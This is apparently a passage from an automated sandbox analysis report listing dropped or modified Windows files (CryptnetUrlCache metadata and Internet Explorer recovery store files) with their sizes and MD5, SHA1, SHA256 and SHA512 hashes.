SHA11fb8405ba3c18a733efe192bb5974d8ae6a467ac
SHA2561cde9205f27d8a895292fce7bc46b439510240de82ab9b367901449e6f312f9a
SHA512fc31aabe6254c67154505ca5c773b64c8fd2fbd25a0176c1bcb308fbf5d659f427dfd2f2d02dd64938f5fd0cf85408716cc057e826af27854921c5814efe8814
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5016eddab69e954e63042cec152becc22
SHA1a216ea5539d36e6c94fb54a93e26f167da12f1d0
SHA25671ad03109f57e72985b36049db955e76464704295b401f6c183d1689b67aeb72
SHA5124dbc35c8fa5991daccd4cdf5b634843d924971b46d8ecc1d562d6e2b009c6cb64f20a3a5153661067dfef8f86172cf8e9474510ebcca2e341502bf0482f9d05d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD54edfa85caccffab1df00f718d1c3ec9e
SHA16ff86d6913c3dda8672d56e011bfcb1d26223da1
SHA25659225f541dbbfc4233f131fa8cee94920f4cbfcd92320d92b0e13ae5c2984079
SHA51267bf917e93775f188c8e8aa74fc70e9f33e7ef14d725baeaf7767fbb107ab0fb9161de0ab61ec5690c027cfdf3f310bb46763bb6cac41610ff05941daeb412af
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5e59e9972c688c7d8f296e9977db9871d
SHA11960a40b5d0b214c425ef7149d19a070be555b5b
SHA25626128124b10dd2ed1975681d9c6b36e94e5e230eaf8d1e767fafc059c29b147f
SHA5124f431b37c02eff6684d3569ef6d67d6979898e6514292068dc879d34efad8fcbaf5c93de8c62da851950faa8c2add064b4a3eb7f9c67a15ec9ec0501ab0b069e
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD55542149c655e6bec566bc999670113e2
SHA18d461034f41bbd1c2f20f1535f7f550146a1f69b
SHA2560a77d70997543c44cc10c542077269f14ab97a4d0bd12c267c2707dd74e93170
SHA5127c432fc82ed35fac0ebb8564454ad056efa90e127bd295fe50829679457a374fd2132db1cb81b23e2bde0299da19992543bb0393a3cd1d1ba084a51adee7ea5c
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2F687C81-AD91-11EE-A508-CEEF1DCBEAFA}.dat
Filesize5KB
MD5fb511cae36f5d77271355aaa7512952d
SHA1c43edc25c460bd9791ff3aa5e0856f0487949af0
SHA256406506a1e2938f752038e7be3d13c8069fdba49851ef502428b2be8e6ea3a437
SHA51224c4621aaae758d181e4417ae98edefabfd662af7adb93b1976b770295920dfb507a4539ef3f10a5ab4132c209428123c575fffe059b3a714aee9d12e57745ca
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2F687C81-AD91-11EE-A508-CEEF1DCBEAFA}.dat
Filesize5KB
MD5c8cd639cd3b776f5adbb6ce7a194735d
SHA198c6d2e4685689159cfda87535de1864bf5761c5
SHA25655996e6f88bc6233f720315b062ba0282057a9039d83cdff03011ba683479d3f
SHA512ad570b4f7da61851ea752c52bbaf91df41b932aa5763b413cc9b7a6fe7dfa6c7e9b22bd79ce0926b98b97b4e5d9bcfae25d0b6c8f405069983288eab10935cc9
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2F6ADDE1-AD91-11EE-A508-CEEF1DCBEAFA}.dat
Filesize5KB
MD5f9969eee17bba979d2c82c64e4ed0de1
SHA1bd3b3d43636d3024234ef417d44d836fdb301a38
SHA256509d8e9661ce32b114e2a6ce8f918c82842e6c7099107b0ea9b54dc3ef1d2ea7
SHA512e31668ce6c2ce9367a4c3534286904561f00a8ed8f2e165ed419f95cee5bc14e11d28444392c9d3541b30ca8ceba3cffca104645bbc29fe37e5c6eb81fc6c1c6
-
Filesize
9KB
MD552b3b486737185cd4c4eff05e3e1f864
SHA1de4bda3507cc183cf72c97e5cc1ffc6332467268
SHA256294f357ba1e2c985df765cb065b6386ea41398442766c34f76f18d2a149d4ae1
SHA512757b8816b18374af07d597a2f58e415fcfa49eceea6cc69ec66b880d241975b9cd42be92cb39cea09f2aa1bfacec41dcb4438b122955c66166c544ad71b3774f
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
-
Filesize
309B
MD58c9d7b6c427f4978944db6dcdf2905be
SHA18fb3eb9e98895a774fdd4f043205a2d7abf75ccd
SHA256b70851b5596fc38203915b7803d6e6b96e2bfc4a99f7181418dc489bf4b290de
SHA5128cfaa804ad8e58c8394d19d9a28b07e81c4ac52d2aaabb1eb1b16a97b6d52a4cda204f0d23557e83f9a1bfd906dec42d9cd8a88433cedd69e833ee9767508897
-
Filesize
222B
MD56a93b828dc3fcb54b2e3919c0b3baadd
SHA163894f7f0b727cae32e583909e78928250704f74
SHA256ebe5d10b0794a2374bb21f8508649abecc8c6036f49c36d504123feb3eb01764
SHA5128bbf0aeb1c90df3badeae7298fadf77aceb1edf1d723e4c8e304ee0de635740a8b2807c98b277664ad8a2e1a44ae3a26c1fe793909a74191bb48d58ad81db0dd
-
Filesize
293B
MD58e06411614647430ba1bd07ec72e9d96
SHA10807d8bce57f3339e9615d12d4537e41fb09c82d
SHA2569b96ca449fdcf0e1b68ed2b3002bd49cbad459e03c72da20a2efa92347e04317
SHA5125ebdad3075d5b7254ca956481754aab9b0d34d885e7fca6a6eed0b0a1022516247b7cacbe283041b442fce9352ba2ea3e91abb7cb4495b7f30241383314af774